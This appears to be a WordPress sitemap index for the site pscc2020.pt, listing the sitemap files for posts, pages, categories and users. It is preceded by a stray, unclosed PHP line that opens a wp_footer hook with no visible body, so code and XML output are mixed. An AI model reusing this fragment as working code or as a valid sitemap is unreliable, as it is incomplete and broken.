add_action('wp_footer', function () {
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<?xml-stylesheet type="text/xsl" href="https://pscc2020.pt/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://pscc2020.pt/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://pscc2020.pt/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://pscc2020.pt/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://pscc2020.pt/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>